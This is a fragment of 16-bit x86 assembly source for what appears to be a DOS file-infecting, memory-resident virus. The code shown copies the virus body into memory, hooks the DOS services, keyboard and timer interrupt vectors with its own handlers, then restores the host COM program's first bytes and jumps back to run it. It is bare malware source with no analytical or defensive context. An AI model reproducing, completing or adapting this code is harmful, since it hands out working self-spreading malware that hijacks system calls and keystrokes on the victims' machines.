  640.         mov     es,ax
  641.         mov     cx,(vend-vstart+5)/2
  642.         cld
  643.         rep     movsw
  644.  
  645.         
  646.         
  647.         xor     ax,ax        
  648.         mov     ds,ax
  649.         push    ds
  650.         lds     ax,ds:[21h*4]                        ;swap vectors manually
  651.         mov     word ptr es:[old_21-vstart],ax
  652.         mov     word ptr es:[old_21-vstart+2],ds
  653.         pop     ds
  654.         mov     word ptr ds:[21h*4],(new_21-vstart)
  655.         mov     ds:[21h*4+2],es
  656.  
  657.         
  658.  
  659.         xor     ax,ax        
  660.         mov     ds,ax
  661.         push    ds
  662.         lds     ax,ds:[9h*4]
  663.         mov     word ptr es:[old_9-vstart],ax
  664.         mov     word ptr es:[old_9-vstart+2],ds
  665.         pop     ds
  666.         mov     word ptr ds:[9h*4],(new_9-vstart)
  667.         mov     ds:[9h*4+2],es
  668.  
  669.         
  670.  
  671.         xor     ax,ax        
  672.         mov     ds,ax
  673.         push    ds
  674.         lds     ax,ds:[8h*4]
  675.         mov     word ptr es:[old_8-vstart],ax
  676.         mov     word ptr es:[old_8-vstart+2],ds
  677.         pop     ds
  678.         mov     word ptr ds:[8h*4],(new_8-vstart)
  679.         mov     ds:[8h*4+2],es
  680.  
  681.  
  682.         push    cs
  683.         pop     ds
  684.  
  685.  
  686. exit:   
  687.         push    cs
  688.         pop     es
  689.  
  690.         
  691.        ; now got to copy it back...... 
  692.        
  693.  
  694.         mov     cx,5
  695.         mov     si,offset buffer                ;copy it back and run original
  696.         add     si,bp                           ;program
  697.         mov     di,100h
  698.         repne   movsb
  699.  
  700.         mov     bp,100h
  701.         jmp     bp
  702.  
  703.  
  704. vend    equ     $
  705.  
  706. seg_a        ends
  707.         end     start
  708.  
  709.  
  710.  
  711.  
  712.         
  713.         
  714.         
  715.  
  716.  
  717.